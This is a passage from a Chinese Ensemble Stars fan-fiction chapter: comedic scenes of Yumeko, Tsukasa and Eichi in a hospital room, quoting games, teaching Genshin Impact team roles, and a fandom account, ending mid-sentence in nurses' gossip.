17.被偏爱的行为
作品:《[ES偶像梦幻祭]那些年在梦之咲学院的日子》 “桃花”的误解与“忍者”弟弟的诞生
濑名泉的思绪,在某个训练的间隙,不受控制地飘回了那天道场里,佐仓梦子捏着佛珠、神神叨叨说他“红鸾星动”的画面。
当时他被那荒谬的“桃花运”和梦子后续那句“濑名妈妈”气得够呛,但现在冷静下来(或者说,是带着某种别扭的重新审视),他忽然抓住了之前被忽略的盲点。
(哼……那个笨蛋佐仓,只说“桃花运”,又没说这“桃花”一定是女的。)
这个念头一旦产生,就像藤蔓一样迅速缠绕了他的思维。他脑海中立刻浮现出一个戴着眼镜、身形纤细、最近却像泥鳅一样越来越难抓住的身影——游木真。
(我亲爱的弟弟……游君,怎么就不能是“桃花”了?)
这个认知让他心头莫名一舒,仿佛某种潜在的、连自己都未曾清晰定义的焦虑得到了解答。然而,紧接着涌上的就是一股更深的烦躁和……委屈?
(可是,为什么游君最近躲我躲得更频繁了?!)
以前还能“恰好”路过他的班级,或者在他练习时“偶然”出现进行“技术指导”。可现在,游木真简直像是未卜先知,总能在他抵达前的几分钟巧妙消失。甚至有一次,濑名泉明明看到游木真走进了图书馆,等他跟进去时,人却像人间蒸发了一样。
这一切不寻常的背后,似乎都指向了同一个人——
濑名泉冰冷的目光锐利地射向不远处正平静记录训练数据的露桉。
(露桉……是你在搞鬼吧?)
他几乎能想象出那个画面:游木真鼓起勇气,向这位浑身散发着“专业人士”气息的女仆经纪人求助,而露桉,出于某种或许是想看热闹、或许是真心想帮游木真摆脱“骚扰”的心态,竟然真的……
(教他潜行?忍者奥义?!)
濑名泉的额角青筋跳动。他可是亲眼见过露桉那神出鬼没的身手和堪比武器的投掷技巧!他甚至怀疑,游木真现在是不是连“手里剑”(或许是改良版的圆规或笔盖?)都用上了!就为了阻止他的靠近!
(岂有此理!)
(我这是作为前辈的关心!是哥哥的爱!)
(游君居然如此误解我,还去向那种“危险人物”学习反追踪技巧!)
一股混合着被弟弟躲避的伤心、被“外人”插足的恼怒,以及某种“我的弟弟居然为了躲我而变得这么厉害”的诡异自豪感的复杂情绪,在濑名泉心中翻腾。
他下定决心,必须找机会和游木真“好好谈谈”,也必须让露桉知道,插手别人“兄弟关系”是多么不道德的行为!
当然,他选择性地忽略了自己那足以把任何正常后辈吓跑的“关爱”方式。在濑名泉的逻辑里,他对游木真的关注,是天经地义、不容拒绝的“桃花”(兄弟情版本)。而游木真跟着露桉学忍术躲他,无疑是青春期叛逆加上被坏人蛊惑!
看来,梦之咲学院里,一场关于“扭曲的兄弟爱”与“忍者弟弟养成计划”的攻防战,还将继续激烈地持续下去。而梦子那句无心的“桃花运”,其影响范围,似乎正在以无人能预料的方式不断扩大。
新晋骑士的生存之道
朱樱司正式披上了Knights的制服,那身代表着荣耀与责任的服饰,让他纤细的身姿也平添了几分锐气。然而,这位朱樱家的小少爷深知,这仅仅是开始。在Knights这个个性鲜明的团体里,他摸索出了一套独特的生存与成长之道。
对前辈:恪守礼仪,虚心求教
面对濑名泉,他总是保持着最标准的九十度鞠躬。
“濑名前辈,关于刚才舞蹈动作的发力点,请您再指点我一次!”
即使被毒舌批评“动作僵硬得像木头”,他也绝不气馁,紫罗兰色的眼眸中反而燃起更旺盛的斗志,一丝不苟地按照指示修正,直到濑名泉挑不出错为止。这份固执的认真,偶尔会让濑名泉在转身时,嘴角掠过一丝几不可查的弧度。
在朔间凛月面前,他会放轻脚步,在凛月慵懒地蜷缩在沙发补眠时,悄悄为他盖上薄毯。当凛月用带着睡意的声音含糊地给予一些看似随意、实则一针见血的建议时,他会立刻拿出小本子认真记录,郑重道谢:“非常感谢您的指点,凛月前辈!”
对于鸣上岚,他则会展现出乖巧弟弟的一面,真诚地赞美:“鸣上前辈今天的配饰依旧如此闪耀,与您的表演相得益彰。” 引得鸣上岚心花怒放,忍不住就想多照顾他几分。
对经纪人:绝对配合,敬畏有加
对于露桉,朱樱司的态度是近乎敬畏的绝对配合。他亲眼见过露桉切西瓜的剑术、演示兵器的凌厉,更见识过她处理事务时滴水不漏的冷静。
“露桉小姐,这是下一周的日程安排草案,请您过目。”
“露桉小姐,关于您上次指出的舞台动线问题,我已经重新规划了,请您检查。”
他从不质疑露桉的安排,并且总能迅速理解并执行她的指令。因为他知道,这位女仆兼经纪人,是守护着姐姐大人、也间接守护着Knights的、最可靠的壁垒。
对姐姐大人:自然而然的依赖与撒娇
唯有在佐仓梦子面前,朱樱司才会彻底卸下所有属于“朱樱家少爷”和“Knights新人”的包袱。
训练结束后,他会蹭到梦子身边,像只寻求安慰的小动物,声音带着点疲惫的软糯:“姐姐大人,今天好累啊……”
当梦子像变戏法一样拿出他喜欢的点心时,他会眼睛一亮,露出毫无阴霾的、属于他这个年纪的明亮笑容:“谢谢姐姐大人!我最喜欢姐姐大人了!”
偶尔,在只有两人时,他甚至会像小时候一样,轻轻拉住梦子的衣袖,小声诉说着自己的不安或困惑,寻求着那份独属于他的温暖与鼓励。
梦子对此自然是全盘接收,甚至乐在其中。看着她家“司糖”在外是礼仪周全的优雅少爷,在她面前却还是那个会撒娇的弟弟,一种“我家有儿初长成”的骄傲感便油然而生。
朱樱司就这样,用他的礼仪、努力和恰到好处的“撒娇”,在Knights这个复杂的生态系统中,稳稳地扎根下来,并向着成为一名真正配得上骑士之名的偶像,稳步前进。他知道,这里有需要他超越的前辈,有需要他敬畏的经纪人,更有他无论如何都想守护的、给予他无限温暖的姐姐大人。
病房内的寒暄与机锋
梦子又一次出现在了天祥院英智的病房,这次她身边还跟着规规矩矩、礼仪无可挑剔的朱樱司。
“天祥院家的哥哥大人,日安。”朱樱司向前一步,优雅地欠身,紫罗兰色的眼眸中带着对这位年长者的适当敬意。朱樱家与天祥院家渊源颇深,他从小便在各种场合见过这位体弱多病却锋芒内敛的兄长。
天祥院英智靠坐在病床上,脸上依旧是那副无懈可击的温和笑容,目光在朱樱司身上停留片刻,又轻轻扫过旁边的梦子,眼底闪过一丝了然。
“日安,司君。许久不见,已经长成如此挺拔出色的少年了。”他的声音柔和,带着长辈般的赞许,但话语间的意味却远不止于此。“听说你通过了Knights的入团考核,真是了不起。”
他微微颔首,语气仿佛带着真诚的钦佩:
“在如今这个时期,选择加入Knights,需要的可不仅仅是实力和勇气,更是一份……独特的眼光和坚定的心志呢。司君,你做出了一个非常……有趣的选择。”
这番话,听起来是十足的夸赞,称赞了他的能力、勇气和眼光。但落在知情人耳中,每一个词都带着微妙的弦外之音——“如今这个时期”暗示着Knights的低谷,“独特的眼光”仿佛在说常人不会做此选择,“有趣的选择”更是带着一丝不易察觉的玩味。
朱樱司仿佛没有听出任何深层含义,他保持着得体的微笑,再次欠身:“您过奖了,哥哥大人。我还有许多需要向前辈们学习的地方,只是竭尽所能,不想辜负团队的期待而已。”
梦子在一旁听着,心里暗暗撇嘴。(哼,又在拐弯抹角!说司糖有眼光,不就是在暗指Knights现在不行了吗!)
天祥院英智仿佛没有看到梦子细微的表情,继续对朱樱司说道,语气愈发温和:“有你在,想必能为Knights带来新的气象。我很期待看到你们未来的表现。”他碧蓝的眼眸中光影流转,“毕竟,沉寂的舞台,总需要新的光芒去点亮,不是吗?”
这看似鼓励的话语,却像是一种无形的施压,将一份重担轻巧地放在了这位新晋骑士的肩上。
朱樱司抬起头,目光清澈而坚定,回应得不卑不亢:“是,我会与前辈们一同努力,不让您失望,也不会让……所有期待Knights的人失望。”
他巧妙地将“期待”的范围扩大,不仅仅指向天祥院英智,更指向了所有支持者,尤其是站在他身边,正用眼神为他加油的梦子。
一场看似寻常的世交寒暄,在病房和煦的阳光下,于无声处完成了又一次无形的交锋。天祥院英智看到了朱樱司的成长与潜力,也看到了他融入Knights的决心;而朱樱司则用完美的礼仪和坚定的态度,接下了这份带着试探的“夸赞”,宣告了自己选择的道路。
“三岁”未婚夫妻的日常
朱樱司的身影刚刚消失在病房门口,门轻轻合上,病房内那层虚伪的和平表象瞬间剥落。
梦子立刻转过头,对着天祥院英智做了个夸张的鬼脸,压低声音:“哼,装什么大尾巴狼,刚才是不是又在心里嘲笑我们家Knights是‘破船’?”
天祥院英智脸上那完美的笑容不变,碧蓝的眼眸却微微眯起,声音轻柔得像羽毛搔过,却带着刺:“梦子小姐多虑了。我只是由衷赞叹司君的……勇气。毕竟,不是谁都敢登上一条明知在漏水的船,还信心满满说要当‘救世主’的。”
“你!”梦子气鼓鼓地,下意识就抬起脚,隔着空气轻轻朝病床的方向虚踢了一下,“你那叫赞叹?分明是阴阳怪气!吃你的药去吧!”
英智眉头都没动一下,只是慢条斯理地拉了拉盖在腿上的薄毯,仿佛在弹开不存在的灰尘,语气带着一丝惋惜:“呵,梦子小姐还是这么精力充沛。可惜,这力道,连只蚂蚁都踢不死,是担心把我这‘病弱未婚夫’提前送走吗?”
“谁担心你了!我是怕你碰瓷!”梦子立刻反驳,又忍不住隔着空气补了一脚,“你这叫病弱?我看你精神好得很,能气死十头牛!”
“承蒙夸奖,比起梦子小姐活蹦乱跳得像只被踩了尾巴的猫,我还是自愧不如。”
两人你一言我一语,声音都压得低低的,像怕被门外听见,但内容却幼稚得像两个抢玩具的三岁小孩,用最“文明”的语言进行着最孩子气的互相攻击。没有真正的肢体冲突,但那无形的“踢来踢去”却充满了整个空间。
就在这时,病房门被推开,朱樱司抱着一束清新的百合走了进来。他立刻察觉到空气中尚未完全散去的微妙火药味,以及梦子脸上那来不及完全收敛的、气呼呼的表情。
“姐姐大人,哥哥大人,你们……”他有些疑惑地眨了眨眼。
梦子瞬间变脸,速度快得像翻书,脸上堆起一个无比自然甚至带着点甜蜜的笑容,一把接过花束,顺手就塞进了英智怀里,动作堪称粗鲁。
“没事没事!”她语气轻快,拍了拍手,仿佛刚才什么都没发生,“我们就是……在进行友好的‘未婚夫妻’之间特有的打招呼方式而已!对吧,英智?”
天祥院英智抱着那束被硬塞过来的百合,脸上的笑容僵硬了一瞬,但很快恢复自然,甚至顺着梦子的话,用一种带着宠溺(实则暗藏杀机)的语气附和道:“是啊,司君不必惊讶。这是我和梦子小姐……表达亲近的独特方式。”
朱樱司看着“笑容灿烂”的梦子和“温和可亲”的英智,虽然觉得有哪里怪怪的,但出于良好的教养,还是选择了相信(或者说,不去深究),只是乖巧地点了点头:“原来如此。”
梦子在朱樱司看不到的角度,对着英智得意地扬了扬下巴,眼神里写着“看,我反应快吧?”
英智则回以一个无懈可击的微笑,眼神里却分明是“幼稚”。
这场发生在病房里的、仅限于两人之间的“三岁小孩斗嘴”,在第三方闯入的瞬间,迅速披上了“未婚夫妻情趣”的华丽外衣,再次证明了这两位世家子女在变脸和伪装上的卓越功力。
二次元“救世主”的突然降临
就在病房里那点“未婚夫妻情趣”的硝烟尚未完全散去时,佐仓梦子的思维频道再次发生了跳跃性的切换。她听到“救世主”三个字,眼睛猛地一亮,像是被触发了某个关键开关,瞬间把和英智的幼稚斗嘴抛到了脑后。
她挺直腰板,右手抚上胸口,眼神变得无比专注,甚至带上了几分扮演剧情的肃穆,仿佛此刻她不再是佐仓家的大小姐,而是某个在末日传递救世箴言的使者。
“说到救世主!”她的声音抬高,带着一种不容置疑的、宣示真理般的语气,“就不得不提《崩坏三》的凯文·卡斯兰娜了!”
天祥院英智眉梢微挑,脸上完美的笑容出现了一丝裂痕,显然对这突如其来的、听不懂的名词感到些许措手不及。朱樱司则乖巧地站在一旁,紫罗兰色的眼睛里充满了好奇,他对姐姐大人随时会爆发的“二次元安利”早已习惯,甚至带着点崇拜。
梦子没有理会他们的反应,完全沉浸在自己的世界里,用清晰而富有感情的声音,开始吟诵那段经典台词:
“鸟为什么会飞?因为它们「必须」飞上天际。”
她的声音带着一种宿命般的决绝。
“当终焉的陨星在白垩纪降下,唯有自由的鸟儿才能跳出既定的灭亡。”
“为了不让太阳落下,我飞上天际,将你们的光芒夺取。”
她的语气在这里变得悲壮而孤高,仿佛真的化身为那个独自背负一切、不惜化身恶龙的救世者。
“我将因之融化,坠落于海面。但要想将其夺回,你,你们,必须飞到比我更高的地方。”
她的目光扫过英智,又落在朱樱司身上,眼神灼灼,仿佛在透过台词传递着某种信念。
“这既是跨越童年之后,属于成人的逻辑。”
“踏上前来,此即,救世之铭!”
最后四个字,她几乎是铿锵有力地吐出,为这段突如其来的中二表演画上了一个震撼的句号。
病房内一片寂静。
天祥院英智难得地陷入了短暂的沉默,他碧蓝的眼眸中闪过一丝错愕和深深的探究,仿佛在努力理解这段充满隐喻和力量的话语,以及它从梦子口中说出的意义。他或许不懂《崩坏三》,但他能感受到这段话里蕴含的某种……超越性的决心和牺牲逻辑。
朱樱司则是满眼小星星,虽然不完全理解背景,但姐姐大人那激昂的姿态和充满力量的话语,让他觉得无比帅气。“救世之铭……姐姐大人好厉害!”
露桉不知何时已经拿出了随身的小本子,面无表情地记录着:“大小姐于病房内,突然引用异世界救世主箴言,对天祥院少爷实施‘二次元文化冲击’。”
梦子看着被镇住的两人(主要是英智),满意地拍了拍手,脸上恢复了平时的笑容,得意洋洋地说:“怎么样?这才是真正的‘救世主’格局!比某些只会躺在病床上阴阳怪气的人厉害多了吧!”
天祥院英智终于回过神来,他轻轻咳嗽了一声,重新挂上那副无懈可击的笑容,语气微妙:“……梦子小姐的‘知识储备’,总是如此……别具一格。令人惊叹。”
他不得不承认,虽然方式离谱,但佐仓梦子总能以最出人意料的方式,打破他预设的节奏。这场关于“救世主”的讨论,似乎以他完全没预料到的方向,被带偏到了某个二次元的高度。
“神明”的宣告与存在的重量
梦子的二次元安利模式一旦开启,便如同脱缰的野马,拉都拉不回来。方才“救世之铭”的余音尚在病房内回荡,她已迫不及待地抛出了下一个、更具冲击力的哲学炸弹。
她向前一步,几乎要逼近天祥院英智的病床,那双总是闪烁着活泼光亮的眼眸,此刻竟沉淀下一种近乎锐利的深邃。她微微抬起下巴,声音不高,却带着一种宣告真理般的、不容置疑的笃定:
“上帝已死——”
这四个字如同惊雷,炸响在充斥着消毒水气味的宁静空间里。朱樱司下意识地屏住了呼吸,连露桉记录的手都几不可查地停顿了一瞬。
天祥院英智脸上的温和笑容终于彻底敛去,碧蓝的眼眸深处掠过一丝真正的震惊与审视。他紧紧盯着梦子,仿佛第一次真正认识这位他自以为了解的“未婚妻”。
梦子无视了所有人的反应,她张开双臂,并非拥抱,而是一个将整个世界囊括在内的、充满力量感的手势,继续她的宣言,声音愈发清晰而有力:
“——唯我们自己是此世的神明!”
她的话语掷地有声,带着一种狂气的、却又无比真诚的信念。
“没有更高的存在来指引我们,没有既定的命运来束缚我们!”她的目光灼灼,依次扫过朱樱司和天祥院英智,“能定义我们价值的,能决定我们道路的,能创造我们未来的——只有我们自己!”
“无论是拯救世界,还是毁灭世界;是让舞台闪耀,还是让它沉寂;是选择坚守,还是选择变革……”她的嘴角勾起一抹混合着桀骜与觉悟的弧度,“这一切的权柄与责任,都在我们自己手中!”
“所以,别再说什么‘破船’或者‘漏水的船’了!”她直视着天祥院英智,眼神锐利,“船会不会沉,不由风浪决定,由掌舵的‘神明’决定!而我们Knights,就是要成为自己命运的‘神明’!”
这番话,已经完全脱离了玩笑与安利的范畴,变成了一种赤裸裸的、关于存在与意志的宣战书。它将尼采的哲学狂言与她自身所处的现实、与Knights的困境紧密地结合在了一起,充满了强大的、近乎蛮横的生命力。
病房内陷入了更长久的寂静。
朱樱司感觉自己的心脏在胸腔里剧烈地跳动,一股前所未有的、想要去创造、去掌控的热流在他血管中奔涌。姐姐大人的话,像是一把钥匙,打开了他心中某个被规矩和教养封锁的领域。
天祥院英智沉默了许久,许久。他再次看向梦子时,眼神中的轻慢与玩味已消失殆尽,取而代之的是一种极其复杂的、混合着凝重、探究,甚至是一丝…被挑衅后燃起的兴奋的光芒。
他轻轻开口,声音低沉:“……这就是你的‘道’吗,佐仓梦子?”
梦子昂着头,毫不退缩:“没错!这就是我的‘道’!属于我的,也属于Knights的,‘神明’之道!”
露桉合上了手中的记事本,无需再记录。因为大小姐此刻的宣言,已足以成为烙印在所有见证者心中的、最深刻的备忘录。
上帝已死?或许吧。但在佐仓梦子所坚信的世界里,新的“神明”——一群骄傲、固执、闪耀着不灭星光的偶像,正踏上属于他们的,创造与救赎的舞台。
病房里的提瓦特
梦子的思维跳跃总是如此迅捷而不可预测。前一刻还在宣讲着“上帝已死”的哲学宣言,下一刻,她已经掏出了随身携带的手机,眼睛闪闪发光地看向天祥院英智,仿佛发现了新的“游戏场”。
“英智!别躺着了,来点实际的!”她兴致勃勃地凑近病床,晃了晃手中的手机,“正好想玩游戏了,来,《原神》,启动!”
她完全不给他拒绝的机会,转头又对一旁乖巧的朱樱司说:“小司,你先看着我们玩!让你们见识一下,我和我‘未婚夫’的游戏配合有多厉害!当然,主要是我carry!”她骄傲地挺起胸脯,“我已经是56级的大佬了!英智你赶紧开个新号,我带你飞!”
天祥院英智看着几乎要怼到自己脸上的手机屏幕,以及梦子那副“不容置疑”的兴奋模样,脸上那完美的面具再次出现了裂痕。他试图维持风度:“梦子小姐,这里是病房,而且我对这种……”
“哎呀,别废话!病房怎么了?玩游戏又不用蹦蹦跳跳!”梦子直接打断他,已经开始熟练地点击图标,“你看你脸色苍白的,正好需要点色彩鲜艳的东西提提神!提瓦特大陆风景可好了!”
随着熟悉的登录音乐响起,梦子迅速进入了游戏。她一边操作着自己的角色在璃月港飞檐走壁,一边滔滔不绝地给英智“科普”:
“看!这是我的主C胡桃,火系战神!……这是钟离,最强盾辅!有他在我根本死不了!……哎,那边有每日委托,我先清一下体力……”
她完全沉浸在了自己的世界里,手指飞舞,嘴里还念念有词:“这边有个宝箱!……抽个卡,哇,出金了!虽然是天空之翼……英智你看,这游戏多好玩!你快注册一个,选空还是荧?我建议选妹妹,可爱!”
朱樱司在一旁看得目瞪口呆,他从未见过有人能把探病变成如此……充满活力的游戏推广会。他看着姐姐大人神采飞扬的样子,又看了看病床上那位向来运筹帷幄、此刻却显得有些无措的天祥院前辈,忍不住觉得有些好笑,又有些奇异的和谐。
露桉默默走到一旁,连接了病房的充电器,以备大小姐长时间“指导”游戏之需。她平静地想,这或许也是某种形式的“康复训练”——精神上的。
天祥院英智在梦子连珠炮般的安利和展示下,终于叹了口气,带着几分无奈和一丝被勾起的好奇,拿出了自己的平板电脑。
“……好吧,梦子小姐。那么,就请你这位‘大佬’,好好指导一下我这个新手了。”
他的指尖在屏幕上轻点,开始下载那个即将占据他不少时间的游戏。看着梦子得意洋洋、仿佛打了胜仗的表情,英智的嘴角,在自己都未察觉的情况下,勾起了一抹极其细微的、真实的弧度。
或许,偶尔体验一下这种被强行拉入的、混乱又充满生气的日常,也不算太坏。
于是,在这间充斥着消毒水气味的VIP病房里,提瓦特大陆悄然展开。一位是兴致勃勃的“大佬”导游,一位是无奈入坑的“萌新”玩家,还有一位安静的旁观者少爷,以及一位确保“冒险”能持续进行的万能女仆。这恐怕是梦之咲学院里,最超现实的探病场景之一了。
病房旁的“专属电竞房”计划
梦子盯着手机屏幕上精致的游戏画面,又看了看天祥院英智在平板上略显生疏的操作,眉头越皱越紧。她忽然把手机一放,双手叉腰,脸上露出了“这简直无法忍受”的表情。
“不行!手机和平板屏幕太小了,操作也受限,完全无法展现提瓦特大陆万分之一的魅力!”她大声宣布,随即猛地转向如同影子般静立待命的露桉。
“露桉!”梦子的声音带着不容置疑的决断,“立刻去安排一下!就在这间病房隔壁,弄一个空房间出来!”
她手指向墙壁,仿佛能穿透它看到隔壁似的,眼中闪烁着规划未来的光芒。
“我要把它改造成‘游戏指导室’!每次我来‘探病’的时候,就用那里的顶配电脑教英智玩!”她越说越兴奋,“大屏幕、机械键盘、专业耳机……一样都不能少!这样才能有沉浸式体验!才能让他真正体会到开放世界的快乐!”
朱樱司在一旁听得目瞪口呆,手里的花束差点没拿稳。把医院病房隔壁改造成电竞房?这恐怕也只有他这位思维跳脱的姐姐大人能想得出来了。
天祥院英智显然也没料到事态会如此发展,他张了张嘴,似乎想说什么,但看着梦子那副“我已经决定了”的架势,以及旁边露桉已然开始通过加密通讯联系院方和安排采购的平静侧脸,他明智地把劝阻的话咽了回去。只是有些疲惫地揉了揉眉心,低声自语:“……看来以后的‘清净’,是彻底没有了。”
露桉一边快速处理着信息,一边用她那毫无波澜的语调回应:“明白,大小姐。会即刻与院方协商,确保房间隔音与网络配置。最高性能的游戏电脑及相关外设将于两小时内送达并安装调试完毕。”
她甚至已经考虑到了细节:“是否需要为您和天祥院少爷准备专用的游戏软件(Steam之类的)及加速器服务?”
“要!当然要!”梦子用力点头,对露桉的效率表示极度满意,“还是露桉你懂我!账号要新的,从我名下划拨,就当是送给‘未婚夫’的入坑礼物了!”
她得意地转向天祥院英智,拍了拍他的肩膀(动作小心地避开了可能的医疗设备):“等着吧,英智!下次我来,就让你见识一下什么叫真正的‘原神,启动!’保证比你那些财务报表和改革方案有意思多了!”
于是,在这家以宁静和专业著称的贵族医院里,一项前所未有的改造计划正在迅速推进。一间原本可能用作储物或备用的病房,即将摇身一变,成为佐仓梦子大小姐用于向她的“未婚夫”天祥院英智传播二次元荣光的专属电竞基地。
这恐怕是梦之咲,乃至整个上流社会圈子里,最独特、最硬核的“探病”方式了。而天祥院英智的养病生活,也注定要因为这位不按常理出牌的未婚妻,走上一条充满像素、光影与冒险的“不归路”。
提瓦特战术小课堂开课了!
在新的“电竞病房”还在紧锣密鼓筹备中时,梦子已经迫不及待地开始了她的理论教学。她拉过一把椅子,坐在天祥院英智的病床前,朱樱司和露桉也在一旁“旁听”。她清了清嗓子,摆出一副资深导师的架势。
“听好了,英智,还有司糖!要想在提瓦特大陆混得开,队伍配置是重中之重!最基本的就是要分清:主C、副C、辅助和奶妈!”
她伸出食指,首先强调:
“主C,核心中的核心!队伍的灵魂输出!”
“就像我们Knights舞台上的绝对Center!”她打了个响指,“比如我的胡桃,开启元素战技后,重击伤害爆炸!所有的资源,最好的武器、最强的圣遗物,都要优先倾斜给她!她站场的时间最长,打出的伤害最高,是整个队伍存在的意义!明白吗?就像……嗯,就像雷欧前辈在创作时的核心地位一样!” 她努力寻找着对方能理解的比喻。
接着,她竖起第二根手指:
“副C,或者说‘脱手C’、‘速切C’!”
“他们就像是……嗯,泉前辈或者凛月前辈!”她眼睛一亮,找到了灵感,“他们不需要长时间站在场上,但出场时机至关重要!比如行秋、香菱,他们放出元素爆发后就可以切走,技能还会留在场上持续造成伤害和触发反应。他们为主C提供伤害补充和元素反应的基础,是主C最可靠的左膀右臂!”
然后,是第三根手指:
“辅助,功能多样的增益提供者!”
“这个角色就多了!”梦子如数家珍,“有像班尼特这样的‘增伤奶妈’,不仅能回血,还能基于自身基础攻击力给场上角色加攻击力,是六星火神!有像枫原万叶这样的‘聚怪增伤’辅助,能聚集敌人,还能根据扩散的元素提供元素伤害加成……他们就像……像岚前辈,能用他的魅力和技巧凝聚团队,提升整体表现!也像露桉,”她看向自家女仆,“提供全方位的支持和保障,让主C可以安心输出!”
最后,她郑重地竖起第四根手指:
“奶妈,队伍的生存保障!”
“这个最简单直接!”梦子说道,“比如芭芭拉、心海、七七,她们的核心任务就是治疗,保证队伍在面对强大敌人时不会减员。没有奶妈,再强的主C也可能暴毙!这就好比……”她想了想,“好比一个团队里负责后勤和医疗支援的人员,虽然不直接参与正面战斗,但却是队伍能持续作战的基石。”
她总结道:“所以,一个成熟的配队,通常就是 ‘主C站场输出 + 副C脱手补伤害/挂元素 + 辅助提供增益/护盾/控制 + 奶妈保证生存’ 这样的模式!当然,有些角色可以身兼数职,比如钟离,既是超级盾辅,也能有一定输出,这就是更高级的配队思路了!”
梦子讲得口干舌燥,拿起旁边的水杯喝了一大口,然后期待地看着天祥院英智和朱樱司:“怎么样?是不是很有学问?下次实战的时候,我就按这个思路给你配队,保证让你轻松探索提瓦特!”
朱樱司似懂非懂地点着头,觉得姐姐大人懂得真多。天祥院英智则若有所思,似乎真的在将这些游戏术语与他所熟悉的团队管理和资源配置理论进行着某种奇特的类比。或许,这位精于计算的少爷,正在尝试用一种全新的角度,来理解他这位“未婚妻”狂热的世界。
指尖华尔兹与“大佬”的翻车现场
在新的“电竞病房”尚未就绪前,梦子已经迫不及待地用手机向天祥院英智和朱樱司展示她所谓的“大佬操作”。她盘腿坐在病房的沙发上,手指在屏幕上飞舞,神情专注,嘴里还念念有词。
“看好了!基本的走位和攻击,这叫平A!”她的角色对着可怜的丘丘人一阵普通攻击。“要熟悉攻击节奏和后摇,才能衔接其他操作!”
接着,她眼神一凛,屏幕中的角色一个灵活的侧滑。
“这是躲避!预判敌人攻击轨迹,及时闪避,无伤通关的基础!就像舞台表演要避开队友的动线一样重要!”
她操控角色跑到一个斜坡前,猛地向上一跃。
“跳跃!不只是用来爬山爬房子,还能用来取消一些技能的后摇,或者……哎哟!”话音未落,她角色一个没踩稳,从半坡上滑了下来,血条蹭掉了一小截。梦子脸上闪过一丝尴尬,但立刻强装镇定:“咳咳,失误失误,地形不熟。”
然后,她深吸一口气,表情变得无比认真,仿佛要施展什么绝世武功。
“接下来,是高端技巧——登龙斩!”她大声宣布,试图利用下落攻击的机制打出更高伤害。只见她操控的角色从高处跃下,剑锋闪烁着元素光芒……然后,“啪叽”一声,精准地砸在了丘丘人暴徒的盾牌上,不仅没打出伤害,自己反而被震得一个趔趄。
场面一度十分安静。
朱樱司眨了眨紫罗兰色的大眼睛,小声问:“姐姐大人……这就是……登龙斩吗?”
梦子的脸颊以肉眼可见的速度涨红,她猛地收回手机,大声辩解:“是、是网络延迟!绝对是!这医院的WiFi不行!而且手机操作限制了我的发挥!等电脑装好了,我让你们见识下什么叫真正的行云流水,刀刀登龙!”
天祥院英智靠在枕头上,看着梦子从信心满满到“翻车”再到强词夺理的全过程,一直没什么表情的脸上,嘴角难以抑制地向上弯起了一个清晰的弧度。他甚至轻轻笑出了声,虽然立刻就用咳嗽掩饰了过去,但那短暂的笑意却真实得晃眼。
“嗯,”他煞有介事地点点头,语气里带着难得的、明显的调侃,“看来这位‘大佬’的实战经验,确实……丰富多彩。”
“天祥院英智!”梦子恼羞成怒,差点把手机扔过去,“你等着!等电脑来了,我要用你的新号在你面前表演一人一血无伤通关风魔龙!”
露桉默默地在她的记事本上更新记录:「大小姐于游戏实操演示中,出现多次战术性失误,包括但不限于:跌落损伤、盾反失败、登龙斩判定错误。归因于设备与环境限制。另,天祥院少爷首次出现因娱乐活动引发的、持续三秒以上的自然笑声。」
这场突如其来的操作演示,虽然以梦子的“滑铁卢”告终,却意外地让病房里的气氛变得前所未有的轻松(甚至有点欢乐)。看来,提瓦特大陆的冒险,不仅关乎战斗与探索,似乎也关乎着某种……人际关系的微妙化学反应。
「鹅城郡主」的同人星球
在网络的某个角落,一个名为 「鹅城郡主」的账号,在同人圈里小有名气。这个名字,自然是佐仓梦子的手笔——她觉得自己麾下的Knights如同守护城池的骑士,那她自然就是坐镇城中的“郡主”了,带着点俏皮和不容置疑的骄傲。
这个账号,是梦子除了“佐仓家大小姐”和“Knights制作人”之外,最为放松和真实的一片自留地。这里没有家族的压力,没有制作人必须维持的(偶尔)威严,只有她纯粹的热爱与分享。
这里是设计灵感的孵化室:
账号里充满了各种服装设计的手绘草稿。有时是充满幻想色彩的骑士盔甲改良版,标注着“如果能加入发光符文就好了”;有时是融合了和风与未来感的打歌服初稿,线条飞扬,旁边用可爱的字体写着“这里用流星鳞片的效果会不会更闪?”。这些都是最初的灵感迸发,充满了未经打磨的原始能源。她乐于分享这些“过程”,但最终的成品设计却从不泄露——那是属于Knights和商业机密的领域,她分得很清。粉丝们则在评论区热烈讨论,为她提供更多脑洞,仿佛一个共同创作的云端工作室。
这里是游戏冒险的直播间:
大量的游戏截图和屏幕录像充斥着她的时间线。有《原神》里她站在璃月山顶与钟离的合影,配文“和老爷子(指钟离)一起看风景”;也有她挑战高难副本成功的瞬间,附上洋洋得意的攻略心得:“看!本郡主这波登龙斩虽然有点歪,但反应接上了!注意BOSS抬手动作,提前切人……” 当然,下面也少不了她操作失误、角色“啊”地一声倒地不起的搞笑集锦,她自己还会乐呵呵地配上字幕:“今日翻车实录,给诸位助助兴!”
这里是二次元浓度的检测仪:
她会转发各种有趣的动漫梗图,为新番打call,为喜欢的角色写小论文分析,偶尔也会晒出自己新入手的、但不敢让父母知道的限量版周边的一角。这里是她所有二次元热爱的集结地,毫无保留,活力四射。
这个账号下的梦子,比现实中更加活泼、甚至有些“话痨”。她会和网友争论哪个角色更强,会为了一套搭配反复修改设计稿并征求意见,也会因为抽卡沉船而发出“哀嚎”。她就像是每个热爱ACGN的普通女孩一样,享受着圈子里的纯粹快乐。
Knights的成员们知不知道这个账号,不得而知。但偶尔,鸣上岚会点赞某张色彩搭配特别出色的设计草稿(用的自然是小号),朔间凛月也可能在某篇游戏机制分析的帖子下,留下一个言简意赅、“嗯~”的评论(同样深藏不露)。
而露桉,自然是知晓这个账号的存在。她不仅知道,还默默地充当着防火墙和内容审核(在梦子过于兴奋可能泄露个人信息时,会私下提醒)。对她而言,守护大小姐的这片小天地,也是职责的一部分。
「鹅城郡主」,是佐仓梦子剥离了现实身份枷锁后,最鲜活、最炙热的灵魂投影。在这里,她不是任何人的大小姐或制作人,她就是她自己——一个热爱创作、沉迷游戏、为二次元疯狂的,快乐女孩。
医院角落的窃窃私语
在光洁如镜的走廊、飘着消毒水气味的护士站、或是午后安静的茶水间里,关于VIP病房那位天祥院少爷和他的“未婚妻”佐仓大小姐的讨论,一直是医护人员私下里经久不衰的话题。
“哎,你看到没?佐仓大小姐今天又来了,还带着那个红头发的漂亮少爷。”
一位年轻的护士一边整理着药品,一边对同伴小声说道,眼里闪着八卦的光芒。
“看到了看到了!那红发少年真是俊俏,听说是叫朱樱司?看他对大小姐那恭敬又依赖的样子……关系不一般哦。”
同伴压低声音回应,
